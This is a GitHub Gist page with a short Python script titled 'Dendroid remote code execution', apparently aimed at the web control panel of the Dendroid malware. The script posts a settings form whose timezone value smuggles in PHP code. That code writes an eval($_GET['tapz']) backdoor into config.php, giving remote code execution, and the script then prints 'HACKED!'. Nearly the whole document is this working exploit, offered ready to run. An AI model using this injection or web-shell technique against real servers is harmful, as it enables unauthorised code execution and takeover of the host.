Last active
May 31, 2021 11:06
-
-
Save Xyl2k/5c377e53023d0d108704 to your computer and use it in GitHub Desktop.
Dendroid remote code execution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
# Add URL | |
# Set a PHP payload | |
# Go to http://website/config.php | |
URL = 'http://localhost/Panel/applysettings.php' | |
PAYLOAD = "(isset($_GET['tapz'])) ? eval($_GET['tapz']) : '" | |
data = { | |
'dbhost' : 'localhost', | |
'dbname' : 'dendroid', | |
'dbusername' : 'root', | |
'dbpassword' : '', | |
'username' : 'admin', | |
'password' : 'admin', | |
'postboxsize' : '10', | |
'devicetablerefr' : '10000', | |
'filetablerefr' : '10000', | |
'historyboxrefr' : '5000', | |
'botoffline' : '60', | |
'timezone' : "Europe/Brussels';" + PAYLOAD, | |
'messageboxscroll' : 'Yes', | |
} | |
headers = { 'Host': '127.0.0.1' } | |
req = requests.post(URL, data=data, headers=headers) | |
print 'HACKED!' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment